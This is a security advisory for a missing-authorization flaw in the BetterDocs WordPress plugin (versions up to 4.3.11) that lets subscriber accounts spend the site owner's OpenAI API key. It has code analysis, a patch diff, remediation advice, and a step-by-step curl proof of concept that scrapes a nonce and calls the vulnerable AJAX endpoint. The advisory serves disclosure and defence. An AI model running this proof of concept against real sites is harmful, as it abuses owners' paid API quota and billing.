CVE-2026-6393: Authenticated Missing Authorization in BetterDocs Plugin
Table of Contents
CVE-2026-6393 is a CVSS 4.3 (Medium) Missing Authorization vulnerability in the BetterDocs – Knowledge Base Docs & FAQ Solution for Elementor & Block Editor WordPress plugin. Any authenticated user with a Subscriber role or above can trigger OpenAI API calls using the site owner’s configured API key. This drains paid quota and lets the attacker send any prompt through the site’s account.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | BetterDocs – Knowledge Base Docs & FAQ Solution for Elementor & Block Editor |
| Plugin Slug | betterdocs |
| CVE ID | CVE-2026-6393 |
| CVSS Score | 4.3 (Medium) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N |
| Vulnerability Type | Missing Authorization |
| Affected Versions | <= 4.3.11 |
| Patched Version | 4.3.12 |
| Published | April 23, 2026 |
| Researcher | h0xilo |
| Wordfence Advisory | Link |
Description
The BetterDocs plugin for WordPress is vulnerable to Missing Authorization in versions up to and including 4.3.11. The root cause is a missing capability check in the generate_openai_content_callback() function. The function relies only on a nonce, not on user permissions. As a result, authenticated attackers with Subscriber-level access can trigger OpenAI API calls using the site’s configured API key with any prompt they choose. This drains the site owner’s paid AI quota.
Technical Analysis
Vulnerable Code Path
File: includes/Core/WriteWithAI.php
Step 1 — Class instantiation (lines 15–32): The WriteWithAI class is initialized unconditionally on every WordPress request via the init hook in includes/Plugin.php:256. The constructor reads $_GET['post_type'] directly without any sanitization or authorization guard:
// WriteWithAI.php:15-32 (vulnerable version 4.3.11)
public function __construct( Settings $settings ) {
$this->settings = $settings;
$post_id = isset( $_GET['post'] ) ? intval( $_GET['post'] ) : 0;
if ( ! empty( $_GET['post_type'] ) ) {
$post_type = $_GET['post_type']; // reads attacker-controlled URL param
} elseif ( $post_id > 0 ) {
$post_type = get_post_type( $post_id );
} else {
$post_type = '';
}
if ( ! empty( $this->isEnabledWriteWithAI() ) && 'docs' == $post_type ) {
add_action( 'admin_footer', array( $this, 'ai_autowrite_button' ) );
}
add_action( 'wp_ajax_generate_openai_content', array( $this, 'generate_openai_content_callback' ) );
}
Step 2 — Nonce exposure via URL manipulation (line 426): The $post_type variable comes directly from $_GET['post_type'] with no authorization check. Any logged-in user can force ai_autowrite_button() to fire in the admin footer — simply by appending ?post_type=docs to any wp-admin URL they can access. The method then inlines a fresh nonce into the page source:
// Inside ai_autowrite_button() — rendered to admin footer
const nonce = "<?php echo esc_attr( wp_create_nonce( 'generate_openai_content_nonce' ) ); ?>";
A subscriber visiting /wp-admin/?post_type=docs triggers this hook and receives the nonce in the rendered page HTML.
Step 3 — AJAX callback without capability check (lines 138–157): The wp_ajax_generate_openai_content action is available to any logged-in user. The callback verifies the nonce but performs no current_user_can() check before making an OpenAI API call:
// WriteWithAI.php:138-157 (vulnerable)
public function generate_openai_content_callback() {
// No current_user_can() check here
if ( ! isset( $_POST['ai_nonce'] ) || ! wp_verify_nonce( $_POST['ai_nonce'], 'generate_openai_content_nonce' ) ) {
wp_send_json_error( 'Invalid nonce' );
wp_die();
}
$prompt = sanitize_text_field( $_POST['prompt'] );
$keywords = sanitize_text_field( $_POST['keywords'] );
$ai_instance = new WriteWithAI( $this->settings );
$generated_content = $ai_instance->generate_openai_response( $prompt, $keywords );
wp_send_json_success( $generated_content );
wp_die();
}
Step 4 — OpenAI API call with site’s credentials (lines 86–136): generate_openai_response() retrieves the site owner’s API key from plugin settings and forwards the attacker-controlled prompt to OpenAI:
public function generate_openai_response( $prompt, $keywords ) {
$api_key = $this->settings->get( 'ai_autowrite_api_key', '' ); // site owner's key
$max_tokens = $this->settings->get( 'ai_autowrite_max_token', 1500 );
$model = $this->settings->get( 'write_with_ai_model', 'gpt-4o-mini' );
$request_options = array(
'headers' => array( 'Authorization' => 'Bearer ' . $api_key ),
'body' => json_encode( array(
'model' => $model,
'messages' => array(
array( 'role' => 'system', 'content' => '...' ),
array( 'role' => 'user', 'content' => $prompt ) // attacker-controlled
),
'max_tokens' => $max_tokens
) ),
);
$response = wp_remote_post( 'https://api.openai.com/v1/chat/completions', $request_options );
// ...
}
Root Cause
The generate_openai_content_callback() function (registered at wp_ajax_generate_openai_content) contains no capability check. Nonce verification alone does not authorize the action; it only proves session validity. Any subscriber who can authenticate to WordPress and obtain a nonce for generate_openai_content_nonce can invoke the callback.
A secondary root cause compounds the problem. The constructor reads $_GET['post_type'] without any user-context check. This lets any authenticated user force ai_autowrite_button() to fire in the admin footer and collect a valid nonce.
Why the Nonce Check Was Not Enough
The plugin did use a nonce — so why wasn’t that enough? WordPress nonces are user-session tokens, not capability tokens. wp_verify_nonce() returns true whenever a logged-in user submits a nonce they generated for themselves — regardless of their role. A subscriber’s nonce for generate_openai_content_nonce is fully valid and will pass verification.
The nonce check therefore gave a false sense of security. It prevented CSRF, but it did nothing to stop a low-privileged user from calling the action.
Attack Impact
An authenticated attacker with a subscriber account can:
- Make unlimited OpenAI API calls using the site owner’s paid API key
- Send arbitrary prompts (including adversarial or abusive content) to OpenAI via the site’s account
- Exhaust the site owner’s OpenAI quota, causing service disruption for legitimate editors
- Potentially incur significant unexpected charges on the site owner’s OpenAI billing account
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites
- WordPress site with BetterDocs plugin installed and activated
- BetterDocs version <= 4.3.11
- “Write with AI” feature enabled in BetterDocs settings with a valid OpenAI API key configured
- An authenticated WordPress account with at minimum Subscriber role
Step-by-Step Reproduction
Step 1: Authenticate and obtain a session cookie
# Log in as subscriber and save cookies
curl -c cookies.txt -b cookies.txt -s -o /dev/null \
-d "log=subscriber_user&pwd=subscriber_pass&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
"https://example.com/wp-login.php"
Step 2: Obtain the nonce by triggering the admin footer on any wp-admin page
Append ?post_type=docs to any wp-admin URL that a subscriber can access (e.g., the dashboard). BetterDocs reads $_GET['post_type'] unconditionally during init and injects ai_autowrite_button() into admin_footer, which outputs the nonce in the page HTML.
# Fetch the wp-admin dashboard with the triggering query param, extract nonce
NONCE=$(curl -c cookies.txt -b cookies.txt -s \
"https://example.com/wp-admin/?post_type=docs" \
| grep -oP '(?<=const nonce = ")[^"]+')
echo "Nonce: $NONCE"
Step 3: Call the vulnerable AJAX endpoint with an arbitrary prompt
curl -c cookies.txt -b cookies.txt -s \
-X POST "https://example.com/wp-admin/admin-ajax.php" \
-d "action=generate_openai_content" \
-d "ai_nonce=${NONCE}" \
-d "prompt=Write a 2000-word essay about the French Revolution in detail." \
-d "keywords=France,revolution,Napoleon"
Expected Result
The server responds with JSON containing an AI-generated response:
{
"success": true,
"data": "The French Revolution, which began in 1789, was a period of radical political..."
}
This confirms that the site’s OpenAI API key was used to fulfill the subscriber’s arbitrary prompt request, consuming API quota and incurring costs on the site owner’s account.
Verification
- Log in to the OpenAI platform at
platform.openai.comas the site owner and check Usage → Activity — you will see the unexpected API calls - Check WordPress error logs for repeated calls to
https://api.openai.com/v1/chat/completions - A successful response with
"success": truein the AJAX output confirms the exploit worked
Patch Analysis
What Changed
Six files were modified in version 4.3.12:
| File | Change |
|---|---|
includes/Core/WriteWithAI.php | Added current_user_can('edit_posts') check in callback; refactored nonce registration to current_screen hook with capability gate |
assets/admin/css/global.css | Minor style updates |
betterdocs.php | Version bump |
includes/Core/Admin.php | Minor admin updates |
includes/Plugin.php | Minor updates |
README.txt | Changelog entry |
Fix Explanation
The patch addresses both root causes:
Fix 1 — Capability check added to the AJAX callback:
public function generate_openai_content_callback() {
+ if ( ! current_user_can( 'edit_posts' ) ) {
+ wp_send_json_error( 'Unauthorized' );
+ wp_die();
+ }
+
// Verify the nonce
if ( ! isset( $_POST[ 'ai_nonce' ] ) || ! wp_verify_nonce( ... ) ) {
Fix 2 — Nonce exposure restricted to authorized users via current_screen:
public function __construct( Settings $settings ) {
$this->settings = $settings;
- $post_id = isset( $_GET['post'] ) ? intval( $_GET['post'] ) : 0;
- if ( ! empty( $_GET['post_type'] ) ) {
- $post_type = $_GET['post_type'];
- } elseif ( $post_id > 0 ) { ...
- if ( ! empty( $this->isEnabledWriteWithAI() ) && 'docs' == $post_type ) {
- add_action( 'admin_footer', array( $this, 'ai_autowrite_button' ) );
- }
- add_action( 'wp_ajax_generate_openai_content', array( $this, 'generate_openai_content_callback' ) );
+ if ( ! empty( $this->isEnabledWriteWithAI() ) ) {
+ add_action( 'current_screen', array( $this, 'maybe_register_ai_autowrite_button' ) );
+ }
+ add_action( 'wp_ajax_generate_openai_content', array( $this, 'generate_openai_content_callback' ) );
}
+public function maybe_register_ai_autowrite_button() {
+ if ( ! current_user_can( 'edit_posts' ) ) {
+ return;
+ }
+ $screen = get_current_screen();
+ if ( $screen && 'docs' === $screen->post_type && 'post' === $screen->base ) {
+ add_action( 'admin_footer', array( $this, 'ai_autowrite_button' ) );
+ }
+}
The patch replaces $_GET['post_type'] with get_current_screen(), which uses WordPress’s actual screen context rather than user-supplied URL parameters. Both the nonce display and the AJAX callback are now gated behind current_user_can('edit_posts'). The fix closes both attack vectors completely.
Timeline
| Date | Event |
|---|---|
| April 22, 2026 | BetterDocs 4.3.12 (patched version) released |
| April 23, 2026 | Vulnerability publicly disclosed by Wordfence |
| April 23, 2026 | Advisory published |
Remediation
Update the betterdocs plugin to version 4.3.12 or later.
References
- Wordfence Advisory
- WriteWithAI.php trunk — line 138
- WriteWithAI.php tags/4.3.6 — line 138
- WriteWithAI.php trunk — line 31
- WriteWithAI.php tags/4.3.6 — line 31
- Changeset 3512640
Frequently Asked Questions
What is CVE-2026-6393?
CVE-2026-6393 is a CVSS 4.3 Medium Missing Authorization vulnerability in the BetterDocs WordPress plugin that allows authenticated subscribers to abuse the site owner's paid OpenAI API key.
Which versions of BetterDocs are affected by CVE-2026-6393?
All versions of BetterDocs up to and including 4.3.11 are affected. Version 4.3.12 contains the fix.
What can an attacker do with CVE-2026-6393?
An attacker can make unlimited OpenAI API calls using the site owner's paid API key and send any prompt through the site's account. This can exhaust the site owner's AI quota and cause unexpected charges on their OpenAI billing account.
Does an attacker need to be logged in to exploit CVE-2026-6393?
Yes, an attacker must be authenticated to WordPress with at least a Subscriber role to exploit this vulnerability.
How do I fix CVE-2026-6393 in BetterDocs?
Update the BetterDocs plugin to version 4.3.12 or later from the WordPress plugin repository or your WordPress dashboard.
Has BetterDocs been patched for CVE-2026-6393?
Yes, BetterDocs version 4.3.12 was released on April 22, 2026 and fully resolves this vulnerability by adding a capability check to the affected AJAX callback.